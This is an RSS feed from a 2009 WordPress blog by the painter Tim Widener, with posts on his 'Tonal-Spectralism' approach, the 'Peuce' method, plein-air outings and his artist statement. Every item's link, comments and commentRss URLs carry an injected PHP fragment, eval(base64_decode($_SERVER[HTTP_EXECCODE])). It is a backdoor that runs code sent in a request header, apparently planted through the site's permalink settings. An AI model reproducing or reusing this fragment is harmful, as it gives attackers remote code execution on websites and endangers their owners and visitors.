<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	>

<channel>
	<title>Tim Widener, Fine Artist</title>
	<atom:link href="http://www.thwidener.com/artistblog/feed/" rel="self" type="application/rss+xml" />
	<link>http://thwidener.com/artistblog</link>
	<description>“Even though I paint the natural world, my work is primarily concerned with the human condition”.</description>
	<pubDate>Sun, 01 Mar 2009 18:53:10 +0000</pubDate>
	<generator>http://wordpress.org/?v=2.6</generator>
	<language>en</language>
			<item>
		<title>Tonal-Spectralism</title>
		<link>http://thwidener.com/artistblog/2009/03/01/78/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://thwidener.com/artistblog/2009/03/01/78/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Sun, 01 Mar 2009 18:52:42 +0000</pubDate>
		<dc:creator>rembrandt_053159</dc:creator>
		
		<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://thwidener.com/artistblog/?p=78</guid>
		<description><![CDATA[In searching for an &#8220;ism&#8221; that best describes my method and technique I have, for the past several weeks, emersed myself in other painting modes&#8211;past and present&#8211;that bear some similarities to my own.  It is true that no two artists paint the same way, but may share the same ideology.  This, to me, is paramount when trying [...]]]></description>
			<content:encoded><![CDATA[<p>In searching for an &#8220;ism&#8221; that best describes my method and technique I have, for the past several weeks, emersed myself in other painting modes&#8211;past and present&#8211;that bear some similarities to my own.  It is true that no two artists paint the same way, but may share the same ideology.  This, to me, is paramount when trying to encapsulate one&#8217;s personal working methodology.  I am not trying to establish a &#8220;rule&#8221; system, feeling strongly that it should not be present in current art traditions. I do believe that an artist should at least have some commitment to a doctrine that does describe his motives for applying paint.  How else is one to establish goals for future growth?  How could one defend his work, or even talk about what is important to him as an artist?  For me, it is not enough to say &#8220;I just paint the way I feel at the time&#8221;.  What does that mean, anyway?  Is one to simply say &#8220;Today I feel like doing something with blue because the sun is hidden behind clouds&#8221; ?  Whether that works for some I don&#8217;t know, or much less care these days.  But I do believe one is selling oneself short when that road is taken.  An artist must know where he has been and where he is going, what his current beliefs are and left open to inspirations that may stimulate new growth.  I have often said that without change there can be no growth, but should qualify this to read <strong><em>change comes from growth and not growth from change</em></strong>!  This is so important to understand I encourage everyone to read and then re-read that line.  When an artist moves in different directions it is because he has grown beyond the old ones.  It should never be said that an artist changes his <em>modis-operandi</em> out of boredom or failure to master his current method of describing form.</p>
<p>For this reason I have here attempted to describe a somewhat new direction in painting.  I has its roots in tonal painting for the reason that the Tonalists did not abandon form but rather embraced it.  However, I cannot dismiss the Impressionists for it was they who described a spectral palette and its application on canvas.  Nature was now seen to be colour translated directily as light.  This is the closest to the way I paint historically.  There are differences, of course, and that is why I call my method new, or at least a new way of describing what I see and feel.  It is more than Tonal-Impressionism, because besides using colour to describe form as tonal representations of various degrees of light, I also employ subjectively to move the veiwing individual.  In this way representation can &#8220;transcend&#8221; itself in the mind of the on-looker, letting the artist surpase objective realism as pure mood.  This is why I cannot call myself an Impressionist, or Tonalist or any other previous &#8220;ism&#8221;.  What I am doing and will continue to persue has historical base but no current precedent.  When one treads new waters there is the possibility of triumph as well as danger of total failure.  However, that is where each of us should dare if we desire to scale upwards.  For now, I will call what I do Tonal-Spectralism, because I define colour less as dealing with the surface of things but rather with light, and colour harmony (subjective colour) to form the basis of visual mood.  I will continue to up-date these notations and try to cite some interesting historic parallels when they become available.  Tim Widener (Mar. 2009)</p>
]]></content:encoded>
			<wfw:commentRss>http://thwidener.com/artistblog/2009/03/01/78/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Peuce Method</title>
		<link>http://thwidener.com/artistblog/2009/02/15/peuce-method/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://thwidener.com/artistblog/2009/02/15/peuce-method/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Sun, 15 Feb 2009 22:10:43 +0000</pubDate>
		<dc:creator>rembrandt_053159</dc:creator>
		
		<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://thwidener.com/artistblog/?p=75</guid>
		<description><![CDATA[I have been reading an old turn of the century publication on techniques and materials concerning oil painting and have come to the conclusion that I have been somewhat wrong about my method.  I have for some time been calling it the &#8220;Peuse&#8221; method having learned the technique from my mentor Bruce Corr, and that [...]]]></description>
			<content:encoded><![CDATA[<p>I have been reading an old turn of the century publication on techniques and materials concerning oil painting and have come to the conclusion that I have been somewhat wrong about my method.  I have for some time been calling it the &#8220;Peuse&#8221; method having learned the technique from my mentor Bruce Corr, and that is what he called it.  It is actually spelled Puce, and refers to an application of purple used as a underlying harmonizer for the painting.  Kind of like having purple strewn all over the place to produce harmony.  It is true that it, and other colour methods like it, sprang from the Impressisonist approach but that is where the old definition and mine end.  I actually arrange and use colour according to the spectrum (as seen in a rainbow), while dismissing browns and black from my palette, much as the Impressionists did, but still seek and utalize form in a Tonal way&#8211;that is, looking for and painting halftones of light while creating the unique light effects with colour placed on the canvas next to one another.  This is more of a Tonal-Impressionist approach than any method that utalizes a single colour as an underlying harmonizer!  The use of purple is restricted to mixing darks, noting that as they drop in value they get cooler.  Also, purple is used to create my earth colour and to modify the upper range.  That is where my use of purple ends, and it in no way is used to embellish my forms with harmony.  If that were so, I believe the paintings created would be overly cool and much too somber for my taste.  The method I actually use works for me because I can apply it to any subject&#8211;landscape, portraiture, still-life&#8230;anything.  It also reflects my personal predilection while working from life to paint the effects of light in a givin season and day.  However, when I work in the studio from these studies my colour choices find themselves in line with the theories of Wassily Kandinski and his &#8220;perfect harmonies&#8221;.  All this makes me believe that I must admit that my method is mostly unique, an outgrowth of the Impressionist school and requires a new title.  Who knows what I&#8217;ll come up with, but I&#8217;ll no longer be calling it the &#8220;Peuse Method&#8221;.  (Feb. 15, 2009)</p>
]]></content:encoded>
			<wfw:commentRss>http://thwidener.com/artistblog/2009/02/15/peuce-method/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Plein-air painting</title>
		<link>http://thwidener.com/artistblog/2009/01/31/plein-air-painting/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://thwidener.com/artistblog/2009/01/31/plein-air-painting/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Sat, 31 Jan 2009 22:22:14 +0000</pubDate>
		<dc:creator>rembrandt_053159</dc:creator>
		
		<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://thwidener.com/artistblog/?p=72</guid>
		<description><![CDATA[Working on-the-spot in different weather conditions has its highs and lows, but is still important in order to learn to read nature both objectively and subjectively.  As an artist who works from life, I believe that although studio painting is a good medium to demonstrate the &#8220;inner&#8221; feeling, or subconcious thought, there is no substitute [...]]]></description>
			<content:encoded><![CDATA[<p>Working on-the-spot in different weather conditions has its highs and lows, but is still important in order to learn to read nature both objectively and subjectively.  As an artist who works from life, I believe that although studio painting is a good medium to demonstrate the &#8220;inner&#8221; feeling, or subconcious thought, there is no substitute for enduring the trials and conflicts one sometimes encounters when painting outdoors in order to both catch nature&#8217;s light effects and absorb its majesty.  It is true that as one progresses in this format, no matter how great the effort and dedication to purpose, one still is unable to attain total conquest and mastery of this process&#8211;indeed, I at least, only see how far I have yet to go.</p>
<p>T. H. Widener (Feb 1, 2009)</p>
]]></content:encoded>
			<wfw:commentRss>http://thwidener.com/artistblog/2009/01/31/plein-air-painting/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Notes on Plein Air Painting</title>
		<link>http://thwidener.com/artistblog/2009/01/25/notes-on-plein-air-painting/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://thwidener.com/artistblog/2009/01/25/notes-on-plein-air-painting/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Sun, 25 Jan 2009 14:31:59 +0000</pubDate>
		<dc:creator>rembrandt_053159</dc:creator>
		
		<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://thwidener.com/artistblog/?p=70</guid>
		<description><![CDATA[With each painting, my goal is always to paint what I feel  as well as what I see.  It is how light creates the effect and how that moment affects me which is important.  This does not mean the sun has to be out in full shine—I paint many moonscapes as well as twilight effects, [...]]]></description>
			<content:encoded><![CDATA[<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: 0.5in;"><span style="font-size: 14pt; font-family: Bimini;">With each painting, my goal is always to paint what I <em style="mso-bidi-font-style: normal;">feel</em><span style="mso-spacerun: yes;">  </span>as well as what I see.<span style="mso-spacerun: yes;">  </span>It is how light creates the effect and how that moment affects me which is important.<span style="mso-spacerun: yes;">  </span>This does not mean the sun has to be out in full shine—I paint many moonscapes as well as twilight effects, too.<span style="mso-spacerun: yes;">  </span>However, because I believe in the importance of “feeling” the moment in my work, I must paint in a myriad of conditions.<span style="mso-spacerun: yes;">  </span>While painting <strong style="mso-bidi-font-weight: normal;"><span style="text-decoration: underline;">Winter</span></strong> a few weeks ago, I knew I wanted a late afternoon effect while it was lightly snowing.<span style="mso-spacerun: yes;">  </span>This was not an easy task.<span style="mso-spacerun: yes;">  </span>Twice, after I had hiked to my destination (within Woldumar Nature Center) and had set up my easel it began to snow far too heavy for me to continue working.<span style="mso-spacerun: yes;">  </span>But on my third attempt, while it snowed only lightly, I was able to catch the effect in about two hours.<span style="mso-spacerun: yes;">  </span>Finally, almost as if by Divine will, the weak winter sun poked itself modestly through the haze long enough for me to quickly jot it in.<span style="mso-spacerun: yes;">  </span>My reward, it seemed, for enduring what started out in frustration</span><span style="font-size: 14pt; font-family: &quot;Arial Rounded MT Bold&quot;;">.</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: 0.5in;"> </p>
<p><span style="font-size: 14pt; font-family: &quot;Arial Rounded MT Bold&quot;;"></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: 0.5in;"><span style="font-size: 14pt; font-family: Bimini;">My wife and I often spend time in Frankfort.<span style="mso-spacerun: yes;">  </span>Here I enjoy wandering the town looking for new inspiration.<span style="mso-spacerun: yes;">  </span>On this occasion,</span><span style="font-size: 14pt; font-family: &quot;Arial Rounded MT Bold&quot;;"> </span><span style="font-size: 14pt; font-family: Bimini;">I knew I wanted to paint Crystal Lake as the sun broke in the morning.<span style="mso-spacerun: yes;">  </span>I set up my easel before sunrise under what I believe to be perfect conditions.<span style="mso-spacerun: yes;">  </span>I thought to myself, this is going to be one of those rare events when everything, including the weather, goes right!<span style="mso-spacerun: yes;">  </span>I began to work feverishly as the sun broke the horizon, noting low clouds in the distance.<span style="mso-spacerun: yes;">  </span>I believed I would have enough time to catch the effect and get back to my wife before breakfast.<span style="mso-spacerun: yes;">  </span>But within an hour, my painting only half complete, it began to rain.<span style="mso-spacerun: yes;">  </span>Minutes later it was a downpour!<span style="mso-spacerun: yes;">  </span>When I returned to my cabin a few minutes walk away, I was drenched.<span style="mso-spacerun: yes;">  </span>I dried off my painting and showed Penny what I had done.<span style="mso-spacerun: yes;">  </span>Still liking it, I packed it away preserving another small adventure in the life of a “plein air” artist.</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: 0.5in;"> </p>
<p></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: 0.5in;"><span style="font-size: 14pt; font-family: Bimini;">If you would like to view these paintings, there is a <span style="font-family: Arial-BoldMT;"><strong><span style="text-decoration: underline;">2009 GLPAPA Group Exhibit</span></strong> at the Okemos Library from Feb 1-24th. </span></span></p>
]]></content:encoded>
			<wfw:commentRss>http://thwidener.com/artistblog/2009/01/25/notes-on-plein-air-painting/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Welcome Fellow Artist&#8217;s</title>
		<link>http://thwidener.com/artistblog/2009/01/10/welcome-fellow-artists/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://thwidener.com/artistblog/2009/01/10/welcome-fellow-artists/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Sat, 10 Jan 2009 17:02:58 +0000</pubDate>
		<dc:creator>rembrandt_053159</dc:creator>
		
		<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://thwidener.com/artistblog/?p=3</guid>
		<description><![CDATA[
]]></description>
			<content:encoded><![CDATA[<p><strong></strong></p>
]]></content:encoded>
			<wfw:commentRss>http://thwidener.com/artistblog/2009/01/10/welcome-fellow-artists/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Artist Statement</title>
		<link>http://thwidener.com/artistblog/2009/01/10/artist-statement/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://thwidener.com/artistblog/2009/01/10/artist-statement/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Sat, 10 Jan 2009 16:59:16 +0000</pubDate>
		<dc:creator>rembrandt_053159</dc:creator>
		
		<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://thwidener.com/artistblog/?p=20</guid>
		<description><![CDATA[
“Even though I paint the natural world, my work is primarily concerned with the human condition”.
]]></description>
			<content:encoded><![CDATA[<div class="mceTemp"><a href="http://thwidener.com/artistblog/wp-content/uploads/2009/01/nostalgic-winter.jpg"><img class="alignnone size-medium wp-image-48" title="nostalgic-winter" src="http://thwidener.com/artistblog/wp-content/uploads/2009/01/nostalgic-winter-300x233.jpg" alt="" width="300" height="233" /></a></div>
<p class="MsoBodyText" style="margin-left: 24px; margin-right: 12px;" align="center"><span style="font-weight: 700; font-size: 16pt; font-style: italic;">“Even though I paint the natural world, my work is primarily concerned with the human condition”.</span></p>
]]></content:encoded>
			<wfw:commentRss>http://thwidener.com/artistblog/2009/01/10/artist-statement/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>About My Work</title>
		<link>http://thwidener.com/artistblog/2008/12/31/about-my-work/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://thwidener.com/artistblog/2008/12/31/about-my-work/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Wed, 31 Dec 2008 19:25:29 +0000</pubDate>
		<dc:creator>rembrandt_053159</dc:creator>
		
		<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://thwidener.com/artistblog/?p=15</guid>
		<description><![CDATA[My work is an emotional response to the visual, using color as light to make a subjective statement.
]]></description>
			<content:encoded><![CDATA[<p>My work is an emotional response to the visual, using color as light to make a subjective statement.</p>
]]></content:encoded>
			<wfw:commentRss>http://thwidener.com/artistblog/2008/12/31/about-my-work/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
	</channel>
</rss>

